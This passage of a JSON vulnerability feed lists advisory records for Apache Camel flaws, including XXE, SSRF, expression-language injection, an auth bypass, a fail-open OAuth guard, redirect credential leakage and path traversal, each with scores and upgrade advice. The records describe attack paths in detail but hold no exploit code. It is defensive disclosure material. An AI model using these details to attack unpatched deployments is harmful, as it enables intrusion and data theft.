in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:25.340Z","updatedAt":"2026-10-19T20:45:51.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88901","asOf":"2026-10-19T20:45:51.597Z"},"epss":{"probability":0.00448,"percentile":0.38687,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88901&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88901","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88901","type":"primary","publishedAt":"2026-10-19T11:17:25.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88901&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88901, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85251","cveId":"CVE-2026-85251","aliases":[],"kind":"vulnerability","title":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP component.","summary":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP component.\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\nTwo paths handed credentials to a redirect target, which is a host chosen by the remote server rather than by the route, once followRedirects=true. OAuth2ClientConfigurer registers its interceptor with addRequestInterceptorFirst, and HttpClient runs protocol-level request interceptors inside ProtocolExec, which sits below RedirectExec in the exec chain; the interceptor therefore ran again for every redirect hop and re-attached Authorization: Bearer  to whatever host the Location header named. Separately, credentials were registered against an AuthScope matching any host, so basic and digest credentials were presented to a redirect target as well. A remote endpoint - or anyone who can influence its responses - could therefore collect the bearer token or the configured credentials simply by answering with a redirect to a host it controls.\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. Credentials are now sent only to the authority the endpoint was configured with, and are not re-attached when a redirect crosses to another host. For deployments that cannot upgrade immediately, set followRedirects=false on endpoints that carry credentials, and handle any redirect explicitly in the route so that the destination is chosen by the route rather than by the remote server.","detail":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP component.\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\nTwo paths handed credentials to a redirect target, which is a host chosen by the remote server rather than by the route, once followRedirects=true. OAuth2ClientConfigurer registers its interceptor with addRequestInterceptorFirst, and HttpClient runs protocol-level request interceptors inside ProtocolExec, which sits below RedirectExec in the exec chain; the interceptor therefore ran again for every redirect hop and re-attached Authorization: Bearer  to whatever host the Location header named. Separately, credentials were registered against an AuthScope matching any host, so basic and digest credentials were presented to a redirect target as well. A remote endpoint - or anyone who can influence its responses - could therefore collect the bearer token or the configured credentials simply by answering with a redirect to a host it controls.\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. Credentials are now sent only to the authority the endpoint was configured with, and are not re-attached when a redirect crosses to another host. For deployments that cannot upgrade immediately, set followRedirects=false on endpoints that carry credentials, and handle any redirect explicitly in the route so that the destination is chosen by the route rather than by the remote server.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:23.417Z","updatedAt":"2026-10-19T20:45:51.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85251","asOf":"2026-10-19T20:45:51.597Z"},"epss":{"probability":0.00502,"percentile":0.42695,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85251&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85251","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85251","type":"primary","publishedAt":"2026-10-19T11:17:23.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85251&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85251, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85250","cveId":"CVE-2026-85250","aliases":[],"kind":"vulnerability","title":"Improper Restriction of XML External Entity Reference vulnerability in Apache Camel XPath component.","summary":"Improper Restriction of XML External Entity Reference vulnerability in Apache Camel XPath component.\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\nWith documentType set to InputSource, XPathBuilder handed the payload straight to javax.xml.xpath, which builds a DocumentBuilder of its own using the JDK defaults. The hardening applied to Camel's default document type was therefore bypassed: a DOCTYPE declaration that is refused on the default type was accepted here, and the external entity it declared was resolved and expanded into the evaluated document. An external sender whose XML reaches such an expression could read files readable by the Camel process and cause the process to issue requests to hosts it names. The two document types disagreeing on parser configuration is what made this reachable, since a deployment choosing InputSource for streaming reasons had no indication it was also choosing a weaker parser.\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The InputSource document type now goes through the same hardened parser as the default type, so a DOCTYPE is refused. Note that it also shares that type's documented escape hatch: the same DocumentBuilderFactory system properties that relax the default type relax this one, so a deployment that has set them remains unprotected by design. For deployments that cannot upgrade immediately, do not use documentType=InputSource on expressions evaluated over untrusted XML; the default document type already refuses a DOCTYPE.","detail":"Improper Restriction of XML External Entity Reference vulnerability in Apache Camel XPath component.\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\nWith documentType set to InputSource, XPathBuilder handed the payload straight to javax.xml.xpath, which builds a DocumentBuilder of its own using the JDK defaults. The hardening applied to Camel's default document type was therefore bypassed: a DOCTYPE declaration that is refused on the default type was accepted here, and the external entity it declared was resolved and expanded into the evaluated document. An external sender whose XML reaches such an expression could read files readable by the Camel process and cause the process to issue requests to hosts it names. The two document types disagreeing on parser configuration is what made this reachable, since a deployment choosing InputSource for streaming reasons had no indication it was also choosing a weaker parser.\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The InputSource document type now goes through the same hardened parser as the default type, so a DOCTYPE is refused. Note that it also shares that type's documented escape hatch: the same DocumentBuilderFactory system properties that relax the default type relax this one, so a deployment that has set them remains unprotected by design. For deployments that cannot upgrade immediately, do not use documentType=InputSource on expressions evaluated over untrusted XML; the default document type already refuses a DOCTYPE.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:23.257Z","updatedAt":"2026-10-19T20:45:51.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85250","asOf":"2026-10-19T20:45:51.597Z"},"epss":{"probability":0.00559,"percentile":0.46275,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85250&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85250","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85250","type":"primary","publishedAt":"2026-10-19T11:17:23.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85250&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85250, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83531","cveId":"CVE-2026-83531","aliases":[],"kind":"vulnerability","title":"Improper Control of Generation of Code ('Code Injection'), Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')...","summary":"Improper Control of Generation of Code ('Code Injection'), Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') vulnerability in Apache Camel.\n\n\n\nThis issue affects Apache Camel: from 4.4.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe dynamic-router-control endpoint, introduced in 4.4.0, lets routing participants manage Dynamic Router subscriptions by sending control messages. When it handled a subscribe or update request, DynamicRouterControlProducer took the subscription predicate and the name of the language used to compile it from the incoming message, either from the predicate and expressionLanguage fields of a DynamicRouterControlMessage body or from the CamelDynamicRouterPredicate and CamelDynamicRouterExpressionLanguage headers. DynamicRouterControlService then resolved that language from the CamelContext and compiled the expression into a Predicate, with no allow-list and no opt-in. The compiled predicate was added to the channel's rule base and evaluated against every exchange routed through the corresponding dynamic-router endpoint for as long as the subscription existed. A route that forwards messages from an external transport to the control endpoint, as shown in the component documentation for routing participants in other JVMs or applications, therefore let any actor able to send a message on that transport supply an expression of their choosing, which was evaluated with the privileges of the Camel process. Any expression language available on the classpath could be selected, including the simple language, which is always present and was the default on the header path, so removing optional expression languages from the classpath did not prevent the issue. Exploitation requires the ability to send a message on a transport whose route forwards it to a dynamic-router-control endpoint; no other authentication or user interaction is needed. Releases before 4.4.0 are not affected, because their control channel took predicate expressions only from the endpoint URI configured by the route author.\n\n\n\nUsers are recommended to upgrade to version 4.23.0, which fixes the issue. If users are","detail":"Improper Control of Generation of Code ('Code Injection'), Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') vulnerability in Apache Camel.\n\n\n\nThis issue affects Apache Camel: from 4.4.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe dynamic-router-control endpoint, introduced in 4.4.0, lets routing participants manage Dynamic Router subscriptions by sending control messages. When it handled a subscribe or update request, DynamicRouterControlProducer took the subscription predicate and the name of the language used to compile it from the incoming message, either from the predicate and expressionLanguage fields of a DynamicRouterControlMessage body or from the CamelDynamicRouterPredicate and CamelDynamicRouterExpressionLanguage headers. DynamicRouterControlService then resolved that language from the CamelContext and compiled the expression into a Predicate, with no allow-list and no opt-in. The compiled predicate was added to the channel's rule base and evaluated against every exchange routed through the corresponding dynamic-router endpoint for as long as the subscription existed. A route that forwards messages from an external transport to the control endpoint, as shown in the component documentation for routing participants in other JVMs or applications, therefore let any actor able to send a message on that transport supply an expression of their choosing, which was evaluated with the privileges of the Camel process. Any expression language available on the classpath could be selected, including the simple language, which is always present and was the default on the header path, so removing optional expression languages from the classpath did not prevent the issue. Exploitation requires the ability to send a message on a transport whose route forwards it to a dynamic-router-control endpoint; no other authentication or user interaction is needed. Releases before 4.4.0 are not affected, because their control channel took predicate expressions only from the endpoint URI configured by the route author.\n\n\n\nUsers are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.1. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a supported release. After upgrading, a control message that carries a predicate expression or an expression language is rejected unless the new allowPredicateFromMessage option is enabled on the dynamic-router-control endpoint; enable it only when every sender of control messages is trusted. For deployments that cannot upgrade immediately, do not forward messages from untrusted or shared transports to a dynamic-router-control endpoint. Where control messages must cross such a transport, authenticate the sender and make sure the predicate and expression language of each subscription are set by the route rather than taken from the incoming message, for example by removing the CamelDynamicRouterPredicate and CamelDynamicRouterExpressionLanguage headers and clearing the predicate and expressionLanguage fields of a DynamicRouterControlMessage before it reaches the endpoint. Removing optional expression languages from the classpath is not a sufficient workaround. As defence in depth, restrict who can send to the transports that feed the control endpoint, and on 4.23.0 and 4.22.1 set the allowedSchemes option of the dynamic-router endpoint to limit which endpoints a subscription's destinationUri may name.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:21.507Z","updatedAt":"2026-10-20T04:17:06.060Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83531","asOf":"2026-10-20T04:17:06.060Z"},"epss":{"probability":0.0085,"percentile":0.57895,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83531&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83531","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83531","type":"primary","publishedAt":"2026-10-19T11:17:21.507Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83531&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83531, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-80344","cveId":"CVE-2026-80344","aliases":[],"kind":"vulnerability","title":"Server-Side Request Forgery (SSRF) vulnerability in Apache Camel AS2 component.","summary":"Server-Side Request Forgery (SSRF) vulnerability in Apache Camel AS2 component.\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\nIn the AS2 protocol the sender of a message may request that the Message Disposition Notification be returned asynchronously to an address the sender supplies. camel-as2 took that address from the inbound message and used it as the destination for the outgoing receipt without constraining it to anything the deployment had configured. A remote partner therefore chose the host the Camel instance would connect to when delivering the MDN. That gives server-side request forgery from the position of the AS2 receiver, including reaching hosts that are only routable from inside the deployment's network, and where the outbound connection carries credentials configured for MDN delivery those credentials are presented to the attacker-chosen destination.\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The asynchronous MDN destination is now constrained rather than taken verbatim from the inbound message. For deployments that cannot upgrade immediately, restrict outbound connectivity from the AS2 receiver to the partner endpoints it legitimately delivers receipts to, and do not attach credentials to MDN delivery that are valid for any host other than those partners.","detail":"Server-Side Request Forgery (SSRF) vulnerability in Apache Camel AS2 component.\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\nIn the AS2 protocol the sender of a message may request that the Message Disposition Notification be returned asynchronously to an address the sender supplies. camel-as2 took that address from the inbound message and used it as the destination for the outgoing receipt without constraining it to anything the deployment had configured. A remote partner therefore chose the host the Camel instance would connect to when delivering the MDN. That gives server-side request forgery from the position of the AS2 receiver, including reaching hosts that are only routable from inside the deployment's network, and where the outbound connection carries credentials configured for MDN delivery those credentials are presented to the attacker-chosen destination.\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The asynchronous MDN destination is now constrained rather than taken verbatim from the inbound message. For deployments that cannot upgrade immediately, restrict outbound connectivity from the AS2 receiver to the partner endpoints it legitimately delivers receipts to, and do not attach credentials to MDN delivery that are valid for any host other than those partners.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:21.363Z","updatedAt":"2026-10-19T20:45:51.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-80344","asOf":"2026-10-19T20:45:51.597Z"},"epss":{"probability":0.00489,"percentile":0.41786,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-80344&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-80344","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80344","type":"primary","publishedAt":"2026-10-19T11:17:21.363Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-80344&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-80344, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-80343","cveId":"CVE-2026-80343","aliases":[],"kind":"vulnerability","title":"Improper Handling of Case Sensitivity vulnerability in Apache Camel Netty HTTP component.","summary":"Improper Handling of Case Sensitivity vulnerability in Apache Camel Netty HTTP component.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe camel-netty-http security constraint compared the request path against the configured context path using a case-sensitive match, while the routing that dispatches the request to the endpoint did not apply the same rule. The two comparisons therefore disagreed for any path whose case differed from the configured value. An external caller could alter the case of a character in a path segment so that the security constraint no longer recognised the path as protected, while the request still dispatched to the same endpoint. The result is that the constraint is skipped and the protected route is reached without satisfying it. No credential, prior access or special configuration is required beyond being able to send a request to the consumer.\n\n\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The constraint now matches the request path with the same case rules the dispatch uses, so the two can no longer disagree. For deployments that cannot upgrade immediately, place the authorization decision in front of the Camel consumer, for example in a reverse proxy that normalises the request path before forwarding.","detail":"Improper Handling of Case Sensitivity vulnerability in Apache Camel Netty HTTP component.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe camel-netty-http security constraint compared the request path against the configured context path using a case-sensitive match, while the routing that dispatches the request to the endpoint did not apply the same rule. The two comparisons therefore disagreed for any path whose case differed from the configured value. An external caller could alter the case of a character in a path segment so that the security constraint no longer recognised the path as protected, while the request still dispatched to the same endpoint. The result is that the constraint is skipped and the protected route is reached without satisfying it. No credential, prior access or special configuration is required beyond being able to send a request to the consumer.\n\n\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The constraint now matches the request path with the same case rules the dispatch uses, so the two can no longer disagree. For deployments that cannot upgrade immediately, place the authorization decision in front of the Camel consumer, for example in a reverse proxy that normalises the request path before forwarding.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:21.223Z","updatedAt":"2026-10-19T20:45:51.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-80343","asOf":"2026-10-19T20:45:51.597Z"},"epss":{"probability":0.00516,"percentile":0.43656,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-80343&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-80343","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80343","type":"primary","publishedAt":"2026-10-19T11:17:21.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-80343&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-80343, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-80312","cveId":"CVE-2026-80312","aliases":[],"kind":"vulnerability","title":"Improper Authentication vulnerability in Apache Camel OAuth component.","summary":"Improper Authentication vulnerability in Apache Camel OAuth component.\n\n\n\nThis issue affects Apache Camel: from 4.11.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe camel-oauth processors that guard a route did not stop the exchange when authentication could not be completed. Where a failure to establish an authenticated session should have terminated routing and returned an error to the caller, the processors fell through and returned control to the route, so the request continued to the protected endpoint as though authentication had succeeded. The effect is a fail-open authentication guard: an unauthenticated caller reached whatever the route did next. The condition is reached on the ordinary request path of a route configured to require OAuth, and needs no special configuration or prior access on the caller's part.\n\n\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The processors now stop the exchange and set the appropriate error status whenever an authenticated session cannot be established, so a failed authentication no longer reaches the protected part of the route. For deployments that cannot upgrade immediately, place an explicit authorization check after the OAuth processor rather than relying on it to halt the exchange, and verify that the route stops on failure.","detail":"Improper Authentication vulnerability in Apache Camel OAuth component.\n\n\n\nThis issue affects Apache Camel: from 4.11.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe camel-oauth processors that guard a route did not stop the exchange when authentication could not be completed. Where a failure to establish an authenticated session should have terminated routing and returned an error to the caller, the processors fell through and returned control to the route, so the request continued to the protected endpoint as though authentication had succeeded. The effect is a fail-open authentication guard: an unauthenticated caller reached whatever the route did next. The condition is reached on the ordinary request path of a route configured to require OAuth, and needs no special configuration or prior access on the caller's part.\n\n\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The processors now stop the exchange and set the appropriate error status whenever an authenticated session cannot be established, so a failed authentication no longer reaches the protected part of the route. For deployments that cannot upgrade immediately, place an explicit authorization check after the OAuth processor rather than relying on it to halt the exchange, and verify that the route stops on failure.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:21.073Z","updatedAt":"2026-10-19T20:45:51.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-80312","asOf":"2026-10-19T20:45:51.597Z"},"epss":{"probability":0.00573,"percentile":0.47047,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-80312&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-80312","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80312","type":"primary","publishedAt":"2026-10-19T11:17:21.073Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-80312&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-80312, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79986","cveId":"CVE-2026-79986","aliases":[],"kind":"vulnerability","title":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Azure Files component.","summary":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Azure Files component.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and 